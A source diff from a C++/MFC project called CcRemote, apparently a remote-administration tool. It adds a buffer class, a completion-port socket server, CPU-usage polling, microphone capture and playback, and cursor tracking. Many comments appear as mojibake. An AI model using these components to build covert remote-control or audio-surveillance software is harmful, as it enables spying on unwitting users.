+////////////////////////////////////////////////////////////////////////////////
+BOOL CBuffer::Write(CString& strData)
+{
+	int nSize = strData.GetLength();
+	return Write((PBYTE) strData.GetBuffer(nSize), nSize);
+}
+
+////////////////////////////////////////////////////////////////////////////////
+// 
+// FUNCTION:	Insert
+// 
+// DESCRIPTION:	Insert a string at the beginning of the buffer
+// 
+// RETURNS:	
+// 
+// NOTES:	
+// 
+// MODIFICATIONS:
+// 
+// Name				Date		Version		Comments
+// N T ALMOND       270400		1.0			Origin
+// 
+////////////////////////////////////////////////////////////////////////////////
+BOOL CBuffer::Insert(CString& strData)
+{
+	int nSize = strData.GetLength();
+	return Insert((PBYTE) strData.GetBuffer(nSize), nSize);
+}
+
+////////////////////////////////////////////////////////////////////////////////
+// 
+// FUNCTION:	Copy
+// 
+// DESCRIPTION:	Copy from one buffer object to another...
+// 
+// RETURNS:	
+// 
+// NOTES:	
+// 
+// MODIFICATIONS:
+// 
+// Name				Date		Version		Comments
+// N T ALMOND       270400		1.0			Origin
+// 
+////////////////////////////////////////////////////////////////////////////////
+void CBuffer::Copy(CBuffer& buffer)
+{
+	int nReSize = buffer.GetMemSize();
+	int nSize = buffer.GetBufferLen();
+	ClearBuffer();
+	ReAllocateBuffer(nReSize);
+
+	m_pPtr = m_pBase + nSize;
+
+	CopyMemory(m_pBase,buffer.GetBuffer(),buffer.GetBufferLen());
+}
+
+////////////////////////////////////////////////////////////////////////////////
+// 
+// FUNCTION:	GetBuffer
+// 
+// DESCRIPTION:	Returns a pointer to the physical memory determined by the offset
+// 
+// RETURNS:	
+// 
+// NOTES:	
+// 
+// MODIFICATIONS:
+// 
+// Name				Date		Version		Comments
+// N T ALMOND       270400		1.0			Origin
+// 
+////////////////////////////////////////////////////////////////////////////////
+PBYTE CBuffer::GetBuffer(UINT nPos)
+{
+	return m_pBase+nPos;
+}
+
+
+////////////////////////////////////////////////////////////////////////////////
+// 
+// FUNCTION:	GetBuffer
+// 
+// DESCRIPTION:	Returns a pointer to the physical memory determined by the offset
+// 
+// RETURNS:	
+// 
+// NOTES:	
+// 
+// MODIFICATIONS:
+// 
+// Name				Date		Version		Comments
+// N T ALMOND       270400		1.0			Origin
+// 
+///////////////////////////////////////////////////////////////////////////////
+void CBuffer::FileWrite(const CString& strFileName)
+{
+	CFile file;
+
+	if (file.Open(strFileName, CFile::modeWrite | CFile::modeCreate))
+	{
+		file.Write(m_pBase,GetBufferLen());
+		file.Close();
+	}
+}
+
+
+
+////////////////////////////////////////////////////////////////////////////////
+// 
+// FUNCTION:	Delete
+// 
+// DESCRIPTION:	Delete data from the buffer and deletes what it reads
+// 
+// RETURNS:		
+// 
+// NOTES:	
+// 
+// MODIFICATIONS:
+// 
+// Name				Date		Version		Comments
+// N T ALMOND       270400		1.0			Origin
+// 
+////////////////////////////////////////////////////////////////////////////////
+UINT CBuffer::Delete(UINT nSize)
+{
+	// Trying to byte off more than ya can chew - eh?
+	if (nSize > GetMemSize())
+		return 0;
+
+	// all that we have 
+	if (nSize > GetBufferLen())
+		nSize = GetBufferLen();
+
+		
+	if (nSize)
+	{
+		// Slide the buffer back - like sinking the data
+		MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);
+
+		m_pPtr -= nSize;
+	}
+		
+	DeAllocateBuffer(GetBufferLen());
+
+	return nSize;
+}

CcRemote/CcRemote/include/Buffer.h

@@ -0,0 +1,49 @@
+// Buffer.h: interface for the CBuffer class.
+//
+//////////////////////////////////////////////////////////////////////
+
+#if !defined(AFX_BUFFER_H__829F6693_AC4D_11D2_8C37_00600877E420__INCLUDED_)
+#define AFX_BUFFER_H__829F6693_AC4D_11D2_8C37_00600877E420__INCLUDED_
+
+#if _MSC_VER > 1000
+#pragma once
+#endif // _MSC_VER > 1000
+
+class CBuffer  
+{
+// Attributes
+protected:
+	PBYTE	m_pBase;
+	PBYTE	m_pPtr;
+	UINT	m_nSize;
+
+
+// Methods
+protected:
+	UINT ReAllocateBuffer(UINT nRequestedSize);
+	UINT DeAllocateBuffer(UINT nRequestedSize);
+	UINT GetMemSize();
+public:
+	void ClearBuffer();
+
+	UINT Delete(UINT nSize);
+	UINT Read(PBYTE pData, UINT nSize);
+	BOOL Write(PBYTE pData, UINT nSize);
+	BOOL Write(CString& strData);
+	UINT GetBufferLen();
+	int Scan(PBYTE pScan,UINT nPos);
+	BOOL Insert(PBYTE pData, UINT nSize);
+	BOOL Insert(CString& strData);
+
+	void Copy(CBuffer& buffer);	
+
+	PBYTE GetBuffer(UINT nPos=0);
+
+	CBuffer();
+	virtual ~CBuffer();
+
+	void FileWrite(const CString& strFileName);
+
+};
+
+#endif // !defined(AFX_BUFFER_H__829F6693_AC4D_11D2_8C37_00600877E420__INCLUDED_)

CcRemote/CcRemote/include/CpuUsage.cpp

@@ -0,0 +1,70 @@
+// CpuUsage.cpp: implementation of the CCpuUsage class.
+//
+//////////////////////////////////////////////////////////////////////
+
+#include "pch.h"
+#include "CpuUsage.h"
+
+#ifdef _DEBUG
+#undef THIS_FILE
+static char THIS_FILE[]=__FILE__;
+#define new DEBUG_NEW
+#endif
+
+//////////////////////////////////////////////////////////////////////
+// Construction/Destruction
+//////////////////////////////////////////////////////////////////////
+
+CCpuUsage::CCpuUsage()
+{
+	m_hQuery = NULL;
+	m_pCounterStruct = NULL;
+
+}
+
+CCpuUsage::~CCpuUsage()
+{
+
+	PdhCloseQuery(m_hQuery);
+	delete m_pCounterStruct;
+}
+
+
+BOOL CCpuUsage::Init()
+{
+	if (ERROR_SUCCESS != PdhOpenQuery(NULL, 1, &m_hQuery))
+		return FALSE;
+
+    m_pCounterStruct = (PPDHCOUNTERSTRUCT) new PDHCOUNTERSTRUCT;
+
+	PDH_STATUS pdh_status = PdhAddCounter(m_hQuery, szCounterName, (DWORD) m_pCounterStruct, &(m_pCounterStruct->hCounter));
+    if (ERROR_SUCCESS != pdh_status) 
+	{
+		return FALSE;
+	}
+
+
+
+	return TRUE;
+}
+
+
+int CCpuUsage::GetUsage()
+{
+    PDH_FMT_COUNTERVALUE pdhFormattedValue;
+
+	PdhCollectQueryData(m_hQuery);
+
+    if (ERROR_SUCCESS != PdhGetFormattedCounterValue( 
+                                    m_pCounterStruct->hCounter,
+                                    PDH_FMT_LONG,
+                                    NULL,
+                                    &pdhFormattedValue )) 
+
+
+	{
+		return 0;
+	}
+
+	return pdhFormattedValue.longValue;
+}

CcRemote/CcRemote/include/CpuUsage.h

@@ -0,0 +1,47 @@
+// CpuUsage.h: interface for the CCpuUsage class.
+//
+//////////////////////////////////////////////////////////////////////
+
+#if !defined(AFX_CPUUSAGE_H__60CF4F03_9F01_41E8_A9FB_51F065D5F3C2__INCLUDED_)
+#define AFX_CPUUSAGE_H__60CF4F03_9F01_41E8_A9FB_51F065D5F3C2__INCLUDED_
+
+#if _MSC_VER > 1000
+#pragma once
+#endif // _MSC_VER > 1000
+
+#include <pdh.h>
+#include <pdhmsg.h>
+
+#pragma comment(lib,"PDH.lib")
+
+
+#define MAX_RAW_VALUES          20
+
+const char szCounterName[] = "\\Processor(_Total)\\% Processor Time";
+
+typedef struct _tag_PDHCounterStruct {
+    HCOUNTER hCounter;      // Handle to the counter - given to use by PDH Library
+    int nNextIndex;         // element to get the next raw value
+    int nOldestIndex;       // element containing the oldes raw value
+    int nRawCount;          // number of elements containing raw values
+    PDH_RAW_COUNTER a_RawValue[MAX_RAW_VALUES]; // Ring buffer to contain raw values
+} PDHCOUNTERSTRUCT, *PPDHCOUNTERSTRUCT;
+
+
+class CCpuUsage  
+{
+public:
+	CCpuUsage();
+	virtual ~CCpuUsage();
+	BOOL	Init();
+	int GetUsage();
+
+protected:
+
+	PPDHCOUNTERSTRUCT			m_pCounterStruct;
+	HQUERY						m_hQuery;
+
+
+};
+
+#endif // !defined(AFX_CPUUSAGE_H__60CF4F03_9F01_41E8_A9FB_51F065D5F3C2__INCLUDED_)

CcRemote/CcRemote/include/IOCPServer.h

@@ -0,0 +1,214 @@
+// IOCPServer.h: interface for the CIOCPServer class.
+//
+//////////////////////////////////////////////////////////////////////
+#include "..\pch.h"
+#if !defined(AFX_IOCPSERVER_H__75B80E90_FD25_4FFB_B273_0090AA43BBDF__INCLUDED_)
+#define AFX_IOCPSERVER_H__75B80E90_FD25_4FFB_B273_0090AA43BBDF__INCLUDED_
+
+#if _MSC_VER > 1000
+#pragma once
+#endif // _MSC_VER > 1000
+
+#include <winsock2.h>
+#include <MSTcpIP.h>
+#pragma comment(lib,"ws2_32.lib")
+#include "Buffer.h"
+#include "CpuUsage.h"
+
+
+#include <process.h>
+
+#include <afxtempl.h>
+
+
+
+////////////////////////////////////////////////////////////////////
+#define	NC_CLIENT_CONNECT		0x0001
+#define	NC_CLIENT_DISCONNECT	0x0002
+#define	NC_TRANSMIT				0x0003
+#define	NC_RECEIVE				0x0004
+#define NC_RECEIVE_COMPLETE		0x0005 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+
+class CLock
+{
+public:
+	CLock(CRITICAL_SECTION& cs, const CString& strFunc)
+	{
+		m_strFunc = strFunc;
+		m_pcs = &cs;
+		Lock();
+	}
+	~CLock()
+	{
+		Unlock();
+
+	}
+	
+	void Unlock()
+	{
+		LeaveCriticalSection(m_pcs);
+		TRACE(_T("LC %d %s\n") , GetCurrentThreadId() , m_strFunc);
+	}
+
+	void Lock()
+	{
+		TRACE(_T("EC %d %s\n") , GetCurrentThreadId(), m_strFunc);
+		EnterCriticalSection(m_pcs);
+	}
+
+
+protected:
+	CRITICAL_SECTION*	m_pcs;
+	CString				m_strFunc;
+
+};
+
+enum IOType 
+{
+	IOInitialize,
+	IORead,
+	IOWrite,
+	IOIdle
+};
+
+
+class OVERLAPPEDPLUS 
+{
+public:
+	OVERLAPPED			m_ol;
+	IOType				m_ioType;
+
+	OVERLAPPEDPLUS(IOType ioType) {
+		ZeroMemory(this, sizeof(OVERLAPPEDPLUS));
+		m_ioType = ioType;
+	}
+};
+//lang2.1_3  
+
+struct ClientContext          //<2F>򵥷<EFBFBD><F2B5A5B7><EFBFBD>ClientContext<78>ṹ<EFBFBD><E1B9B9>Ȼ<EFBFBD><C8BB><EFBFBD>ص<EFBFBD>  SendSelectCommand
+{
+    SOCKET				m_Socket;              //<2F>׽<EFBFBD><D7BD><EFBFBD>
+	// Store buffers
+	CBuffer				m_WriteBuffer;
+	CBuffer				m_CompressionBuffer;	// <20><><EFBFBD>յ<EFBFBD><D5B5><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	CBuffer				m_DeCompressionBuffer;	// <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	CBuffer				m_ResendWriteBuffer;	// <20>ϴη<CFB4><CEB7>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>ʱ<EFBFBD>ط<EFBFBD>ʱ<EFBFBD><CAB1>
+
+	int					m_Dialog[2]; // <20>ŶԻ<C5B6><D4BB><EFBFBD><EFBFBD>б<EFBFBD><D0B1>ã<EFBFBD><C3A3><EFBFBD>һ<EFBFBD><D2BB>int<6E><74><EFBFBD><EFBFBD><EFBFBD>ͣ<EFBFBD><CDA3>ڶ<EFBFBD><DAB6><EFBFBD><EFBFBD><EFBFBD>CDialog<6F>ĵ<EFBFBD>ַ
+	int					m_nTransferProgress;
+	// Input Elements for Winsock
+	WSABUF				m_wsaInBuffer;
+	BYTE				m_byInBuffer[8192];
+
+	// Output elements for Winsock
+	WSABUF				m_wsaOutBuffer;
+	HANDLE				m_hWriteComplete;
+
+	// Message counts... purely for example purposes
+	LONG				m_nMsgIn;
+	LONG				m_nMsgOut;	
+
+	BOOL				m_bIsMainSocket; // <20>Dz<EFBFBD><C7B2><EFBFBD><EFBFBD><EFBFBD>socket
+
+	ClientContext*		m_pWriteContext;
+	ClientContext*		m_pReadContext;
+};
+
+template<>
+inline UINT AFXAPI HashKey(CString & strGuid)
+{
+  return HashKey( (LPCTSTR) strGuid);         
+}
+
+#include "Mapper.h"
+
+typedef void (CALLBACK* NOTIFYPROC)(LPVOID, ClientContext*, UINT nCode);
+
+typedef CList<ClientContext*, ClientContext* > ContextList;
+
+
+class CMainFrame;
+
+class CIOCPServer
+{
+public:
+	void DisconnectAll();
+	CIOCPServer();
+	virtual ~CIOCPServer();
+
+	NOTIFYPROC					m_pNotifyProc;
+	CMainFrame*					m_pFrame;
+	
+	bool Initialize(NOTIFYPROC pNotifyProc, CMainFrame* pFrame,  int nMaxConnections, int nPort);
+
+	static unsigned __stdcall ListenThreadProc(LPVOID lpVoid);
+	static unsigned __stdcall ThreadPoolFunc(LPVOID WorkContext);
+	static CRITICAL_SECTION	m_cs;
+
+	void Send(ClientContext* pContext, LPBYTE lpData, UINT nSize);
+	void PostRecv(ClientContext* pContext);
+
+	bool IsRunning();
+	void Shutdown();
+	void ResetConnection(ClientContext* pContext);
+	
+	LONG					m_nCurrentThreads;
+	LONG					m_nBusyThreads;
+
+	
+	UINT					m_nSendKbps; // <20><><EFBFBD>ͼ<EFBFBD>ʱ<EFBFBD>ٶ<EFBFBD>
+	UINT					m_nRecvKbps; // <20><><EFBFBD>ܼ<EFBFBD>ʱ<EFBFBD>ٶ<EFBFBD>
+	UINT					m_nMaxConnections; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+protected:
+	void InitializeClientRead(ClientContext* pContext);
+	BOOL AssociateSocketWithCompletionPort(SOCKET device, HANDLE hCompletionPort, DWORD dwCompletionKey);
+	void RemoveStaleClient(ClientContext* pContext, BOOL bGraceful);
+	void MoveToFreePool(ClientContext *pContext);
+	ClientContext*  AllocateContext();
+
+	LONG				m_nWorkerCnt;
+
+	bool				m_bInit;
+	bool				m_bDisconnectAll;
+	BYTE				m_bPacketFlag[5];
+	void CloseCompletionPort();
+	void OnAccept();
+	bool InitializeIOCP(void);
+	void Stop();
+
+	ContextList				m_listContexts;
+	ContextList				m_listFreePool;
+	WSAEVENT				m_hEvent;
+	SOCKET					m_socListen;    
+    HANDLE					m_hKillEvent;
+	HANDLE					m_hThread;
+	HANDLE					m_hCompletionPort;
+	bool					m_bTimeToKill;
+	CCpuUsage				m_cpu;
+
+	LONG					m_nKeepLiveTime; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ
+
+	// Thread Pool Tunables
+	LONG					m_nThreadPoolMin;
+	LONG					m_nThreadPoolMax;
+	LONG					m_nCPULoThreshold;
+	LONG					m_nCPUHiThreshold;
+
+
+	CString GetHostName(SOCKET socket);
+
+	void CreateStream(ClientContext* pContext);
+
+	BEGIN_IO_MSG_MAP()
+		IO_MESSAGE_HANDLER(IORead, OnClientReading)
+		IO_MESSAGE_HANDLER(IOWrite, OnClientWriting)
+		IO_MESSAGE_HANDLER(IOInitialize, OnClientInitializing)
+	END_IO_MSG_MAP()
+
+	bool OnClientInitializing	(ClientContext* pContext, DWORD dwSize = 0);
+	bool OnClientReading		(ClientContext* pContext, DWORD dwSize = 0);
+	bool OnClientWriting		(ClientContext* pContext, DWORD dwSize = 0);
+
+};
+
+#endif // !defined(AFX_IOCPSERVER_H__75B80E90_FD25_4FFB_B273_0090AA43BBDF__INCLUDED_)

CcRemote/CcRemote/include/Mapper.h

@@ -0,0 +1,27 @@
+
+#ifndef __IO_MAPPER__
+#define __IO_MAPPER__
+
+#define net_msg
+
+class __declspec(novtable) CIOMessageMap
+{
+public:
+	virtual bool ProcessIOMessage(IOType clientIO, ClientContext* pContext, DWORD dwSize) = 0;
+};
+
+#define BEGIN_IO_MSG_MAP() \
+public: \
+		bool ProcessIOMessage(IOType clientIO, ClientContext* pContext, DWORD dwSize = 0) \
+		{ \
+			bool bRet = false; 
+
+#define IO_MESSAGE_HANDLER(msg, func) \
+			if (msg == clientIO) \
+				bRet = func(pContext, dwSize); 
+
+#define END_IO_MSG_MAP() \
+		return bRet; \
+	}
+
+#endif

CcRemote/CcRemote/pch.h

@@ -4,6 +4,8 @@
 // 但是，如果此处列出的文件中的任何一个在生成之间有更新，它们全部都将被重新编译。
 // 请勿在此处添加要频繁更新的文件，这将使得性能优势无效。
 
+
+
 #ifndef PCH_H
 #define PCH_H
 
@@ -11,3 +13,4 @@
 #include "framework.h"
 
 #endif //PCH_H
+

common/Audio.cpp

@@ -0,0 +1,199 @@
+// Audio.cpp: implementation of the CAudio class.
+//
+//////////////////////////////////////////////////////////////////////
+
+#include "Audio.h"
+
+//////////////////////////////////////////////////////////////////////
+// Construction/Destruction
+//////////////////////////////////////////////////////////////////////
+
+CAudio::CAudio()
+{
+	m_hEventWaveIn		= CreateEvent(NULL, false, false, NULL);
+	m_hStartRecord		= CreateEvent(NULL, false, false, NULL);
+	m_hThreadCallBack	= NULL;
+	m_nWaveInIndex		= 0;
+	m_nWaveOutIndex		= 0;
+	m_nBufferLength		= 1000; // m_GSMWavefmt.wfx.nSamplesPerSec / 8(bit)
+
+	m_bIsWaveInUsed		= false;
+	m_bIsWaveOutUsed	= false;
+
+	for (int i = 0; i < 2; i++)
+	{
+		m_lpInAudioData[i] = new BYTE[m_nBufferLength];
+		m_lpInAudioHdr[i] = new WAVEHDR;
+
+		m_lpOutAudioData[i] = new BYTE[m_nBufferLength];
+		m_lpOutAudioHdr[i] = new WAVEHDR;
+	}
+	
+	memset(&m_GSMWavefmt, 0, sizeof(GSM610WAVEFORMAT));
+
+	m_GSMWavefmt.wfx.wFormatTag = WAVE_FORMAT_GSM610; // ACM will auto convert wave format
+	m_GSMWavefmt.wfx.nChannels = 1;
+	m_GSMWavefmt.wfx.nSamplesPerSec = 8000;
+	m_GSMWavefmt.wfx.nAvgBytesPerSec = 1625;
+	m_GSMWavefmt.wfx.nBlockAlign = 65;
+	m_GSMWavefmt.wfx.wBitsPerSample = 0;
+	m_GSMWavefmt.wfx.cbSize = 2;
+	m_GSMWavefmt.wSamplesPerBlock = 320;
+}
+
+CAudio::~CAudio()
+{
+	if (m_bIsWaveInUsed)
+	{
+		waveInStop(m_hWaveIn);
+		waveInReset(m_hWaveIn);
+		for (int i = 0; i < 2; i++)
+			waveInUnprepareHeader(m_hWaveIn, m_lpInAudioHdr[i], sizeof(WAVEHDR));
+		waveInClose(m_hWaveIn);
+		TerminateThread(m_hThreadCallBack, -1);
+	}
+
+	if (m_bIsWaveOutUsed)
+	{
+		waveOutReset(m_hWaveOut);
+		for (int i = 0; i < 2; i++)
+			waveOutUnprepareHeader(m_hWaveOut, m_lpInAudioHdr[i], sizeof(WAVEHDR));
+		waveOutClose(m_hWaveOut);
+	}		
+
+
+	for (int i = 0; i < 2; i++)
+	{
+		delete [] m_lpInAudioData[i];
+		delete m_lpInAudioHdr[i];
+		
+		delete [] m_lpOutAudioData[i];
+		delete m_lpOutAudioHdr[i];
+	}
+
+	CloseHandle(m_hEventWaveIn);
+	CloseHandle(m_hStartRecord);
+	CloseHandle(m_hThreadCallBack);
+}
+
+LPBYTE CAudio::getRecordBuffer(LPDWORD lpdwBytes)
+{
+	// Not open WaveIn yet, so open it...
+	if (!m_bIsWaveInUsed && !InitializeWaveIn())
+		return NULL;
+
+	if (lpdwBytes == NULL)
+		return NULL;
+
+	SetEvent(m_hStartRecord);
+	WaitForSingleObject(m_hEventWaveIn, INFINITE);
+	*lpdwBytes = m_nBufferLength;
+	return	m_lpInAudioData[m_nWaveInIndex];
+}
+
+bool CAudio::playBuffer(LPBYTE lpWaveBuffer, DWORD dwBytes)
+{
+	if (!m_bIsWaveOutUsed && !InitializeWaveOut())
+		return NULL;
+
+	for (int i = 0; i < dwBytes; i += m_nBufferLength)
+	{
+		memcpy(m_lpOutAudioData[m_nWaveOutIndex], lpWaveBuffer, m_nBufferLength);
+		waveOutWrite(m_hWaveOut, m_lpOutAudioHdr[m_nWaveOutIndex], sizeof(WAVEHDR));
+		m_nWaveOutIndex = 1 - m_nWaveOutIndex;
+	}
+	return true;
+}
+
+bool CAudio::InitializeWaveIn()
+{
+	if (!waveInGetNumDevs())
+		return false;
+
+	MMRESULT	mmResult;
+	DWORD		dwThreadID = 0;
+	m_hThreadCallBack = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)waveInCallBack, (LPVOID)this, CREATE_SUSPENDED, &dwThreadID);
+	mmResult = waveInOpen(&m_hWaveIn, (WORD)WAVE_MAPPER, &(m_GSMWavefmt.wfx), (LONG)dwThreadID, (LONG)0, CALLBACK_THREAD);
+
+	if (mmResult != MMSYSERR_NOERROR)
+		return false;
+
+	for (int i = 0; i < 2; i++)
+	{
+		m_lpInAudioHdr[i]->lpData = (LPSTR)m_lpInAudioData[i];
+		m_lpInAudioHdr[i]->dwBufferLength = m_nBufferLength;
+		m_lpInAudioHdr[i]->dwFlags = 0;
+		m_lpInAudioHdr[i]->dwLoops = 0;
+		waveInPrepareHeader(m_hWaveIn, m_lpInAudioHdr[i], sizeof(WAVEHDR));
+	}
+	
+	waveInAddBuffer(m_hWaveIn, m_lpInAudioHdr[m_nWaveInIndex], sizeof(WAVEHDR));
+
+	ResumeThread(m_hThreadCallBack);
+	waveInStart(m_hWaveIn);
+
+	m_bIsWaveInUsed = true;
+
+	return true;
+
+}
+
+bool CAudio::InitializeWaveOut()
+{
+
+	if (!waveOutGetNumDevs())
+		return false;
+
+	for (int i = 0; i < 2; i++)
+		memset(m_lpOutAudioData[i], 0, m_nBufferLength);
+	
+	MMRESULT	mmResult;
+	mmResult = waveOutOpen(&m_hWaveOut, (WORD)WAVE_MAPPER, &(m_GSMWavefmt.wfx), (LONG)0, (LONG)0, CALLBACK_NULL);
+	if (mmResult != MMSYSERR_NOERROR)
+		return false;
+
+	for (i = 0; i < 2; i++)
+	{
+		m_lpOutAudioHdr[i]->lpData = (LPSTR)m_lpOutAudioData[i];
+		m_lpOutAudioHdr[i]->dwBufferLength = m_nBufferLength;
+		m_lpOutAudioHdr[i]->dwFlags = 0;
+		m_lpOutAudioHdr[i]->dwLoops = 0;
+		waveOutPrepareHeader(m_hWaveOut, m_lpOutAudioHdr[i], sizeof(WAVEHDR));
+	}
+	
+	m_bIsWaveOutUsed = true;
+	return true;
+}
+
+DWORD WINAPI CAudio::waveInCallBack( LPVOID lparam )
+{
+	CAudio	*pThis = (CAudio *)lparam;
+
+	MSG	Msg;
+	while (GetMessage(&Msg, NULL, 0, 0))
+	{
+		if (Msg.message == MM_WIM_DATA)
+		{
+			// ֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD>
+			SetEvent(pThis->m_hEventWaveIn);
+			// <20>ȴ<EFBFBD><C8B4><EFBFBD>ʼ<EFBFBD>´<EFBFBD>¼<EFBFBD><C2BC>
+			WaitForSingleObject(pThis->m_hStartRecord, INFINITE);
+
+			pThis->m_nWaveInIndex = 1 - pThis->m_nWaveInIndex;
+			
+			MMRESULT mmResult = waveInAddBuffer(pThis->m_hWaveIn, pThis->m_lpInAudioHdr[pThis->m_nWaveInIndex], sizeof(WAVEHDR));
+			if (mmResult != MMSYSERR_NOERROR)
+				return -1;
+			
+		}
+
+		// Why never happend this
+		if (Msg.message == MM_WIM_CLOSE)
+			break;
+
+		TranslateMessage(&Msg); 
+		DispatchMessage(&Msg);
+	}
+
+	return 0;	
+}

common/Audio.h

@@ -0,0 +1,53 @@
+// Audio.h: interface for the CAudio class.
+//
+//////////////////////////////////////////////////////////////////////
+
+#if !defined(AFX_AUDIO_H__4DD286A3_85E9_4492_A1A5_C3B2D860BD1A__INCLUDED_)
+#define AFX_AUDIO_H__4DD286A3_85E9_4492_A1A5_C3B2D860BD1A__INCLUDED_
+
+#if _MSC_VER > 1000
+#pragma once
+#endif // _MSC_VER > 1000
+#include <windows.h>
+#include <mmsystem.h>
+#include <mmreg.h>
+#pragma comment(lib, "Winmm.lib")
+
+class CAudio
+{
+public:
+	CAudio();
+	virtual ~CAudio();
+	int m_nBufferLength;
+
+	LPBYTE m_lpInAudioData[2]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	LPBYTE m_lpOutAudioData[2];
+
+	HWAVEIN m_hWaveIn;
+	int m_nWaveInIndex;
+	int m_nWaveOutIndex;
+
+	HANDLE	m_hEventWaveIn; // MM_WIM_DATA<54><41><EFBFBD><EFBFBD>
+	HANDLE	m_hStartRecord; // getRecordBuffer <20><><EFBFBD>غ󴥷<D8BA>
+
+	LPBYTE getRecordBuffer(LPDWORD lpdwBytes);
+	bool playBuffer(LPBYTE lpWaveBuffer, DWORD dwBytes);
+private:
+	HANDLE	m_hThreadCallBack;
+
+	LPWAVEHDR m_lpInAudioHdr[2];
+	LPWAVEHDR m_lpOutAudioHdr[2];
+
+	HWAVEOUT m_hWaveOut;
+	
+	bool	m_bIsWaveInUsed;
+	bool	m_bIsWaveOutUsed;
+	GSM610WAVEFORMAT m_GSMWavefmt;
+
+	bool InitializeWaveIn();
+	bool InitializeWaveOut();
+
+	static DWORD WINAPI waveInCallBack(LPVOID lparam);
+};
+
+#endif // !defined(AFX_AUDIO_H__4DD286A3_85E9_4492_A1A5_C3B2D860BD1A__INCLUDED_)

common/CursorInfo.h

@@ -0,0 +1,85 @@
+// CursorInfo.h: interface for the CCursorInfo class.
+//
+//////////////////////////////////////////////////////////////////////
+
+#if !defined(AFX_CURSORINFO_H__CE8C6529_4ACB_4BC3_96A8_C5C255A81289__INCLUDED_)
+#define AFX_CURSORINFO_H__CE8C6529_4ACB_4BC3_96A8_C5C255A81289__INCLUDED_
+#include <windows.h>
+#if _MSC_VER > 1000
+#pragma once
+#endif // _MSC_VER > 1000
+
+#define MAX_CURSOR_TYPE	16
+
+class CCursorInfo  
+{
+private:
+	LPCTSTR	m_CursorResArray[MAX_CURSOR_TYPE];
+	HCURSOR	m_CursorHandleArray[MAX_CURSOR_TYPE];
+
+public:
+	CCursorInfo()
+	{
+		LPCTSTR	CursorResArray[MAX_CURSOR_TYPE] = 
+		{
+			IDC_APPSTARTING,
+			IDC_ARROW,
+			IDC_CROSS,
+			IDC_HAND,
+			IDC_HELP,
+			IDC_IBEAM,
+			IDC_ICON,
+			IDC_NO,
+			IDC_SIZE,
+			IDC_SIZEALL,
+			IDC_SIZENESW,
+			IDC_SIZENS,
+			IDC_SIZENWSE,
+			IDC_SIZEWE,
+			IDC_UPARROW,
+			IDC_WAIT
+		};
+		
+		for (int i = 0; i < MAX_CURSOR_TYPE; i++)
+		{
+			m_CursorResArray[i] = CursorResArray[i];
+			m_CursorHandleArray[i] = LoadCursor(NULL, CursorResArray[i]);
+		}
+	}
+
+	virtual ~CCursorInfo()
+	{
+		for (int i = 0; i < MAX_CURSOR_TYPE; i++)
+		DestroyCursor(m_CursorHandleArray[i]);
+	}
+
+
+	int getCurrentCursorIndex()
+	{
+		CURSORINFO	ci;
+		ci.cbSize = sizeof(CURSORINFO);
+		if (!GetCursorInfo(&ci) || ci.flags != CURSOR_SHOWING)
+			return -1;
+		
+		
+		for (int i = 0; i < MAX_CURSOR_TYPE; i++)
+		{
+			if (ci.hCursor == m_CursorHandleArray[i])
+				break;
+		}
+		DestroyCursor(ci.hCursor);
+		
+		int	nIndex = i == MAX_CURSOR_TYPE ? -1 : i;
+		return nIndex;
+	}
+	
+	HCURSOR getCursorHandle( int nIndex )
+	{
+		if (nIndex >= 0 && nIndex < MAX_CURSOR_TYPE)
+			return	m_CursorHandleArray[nIndex];
+		else
+			return NULL;
+	}
+};
+
+#endif // !defined(AFX_CURSORINFO_H__CE8C6529_4ACB_4BC3_96A8_C5C255A81289__INCLUDED_)

common/VideoCodec.h

@@ -0,0 +1,157 @@
+#if !defined(AFX_VIDEOCODEC_H_INCLUDED)
+#define AFX_VIDEOCODEC_H_INCLUDED
+
+/*
+<EFBFBD><EFBFBD><EFBFBD>õı<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9>M263<36><33><EFBFBD><EFBFBD>
+0x64697663,1684633187,Cinepak Codec by Radius			76032 >> 1860
+0x32335649,842225225,Intel Indeo(R) Video R3.2			76032 >> 475
+0x56555949,1448433993,Intel IYUV codec					76032 >> 38016 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD>̫<EFBFBD><CCAB>
+0x4356534d,1129730893,Microsoft Video 1					76032 >> 3202
+0x3336324d,859189837,Microsoft H.263 Video Codec		76032 >> 663 <20>Էֱ<D4B7><D6B1><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>
+0x33564d57,861293911,Microsoft Windows Media Video 9	76032 >> 196
+0x3234504d,842289229,Microsoft MPEG-4 Video Codec V2	76032 >> 349
+
+M263ֻ֧<EFBFBD><EFBFBD>176*144 352*288 (352*288 24<32>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD>ֻ֧<D6BB><D6A7>biPlanes = 1)
+
+
+һ<EFBFBD>ο<EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><EFBFBD>ϵĴ<EFBFBD><EFBFBD><EFBFBD>
+
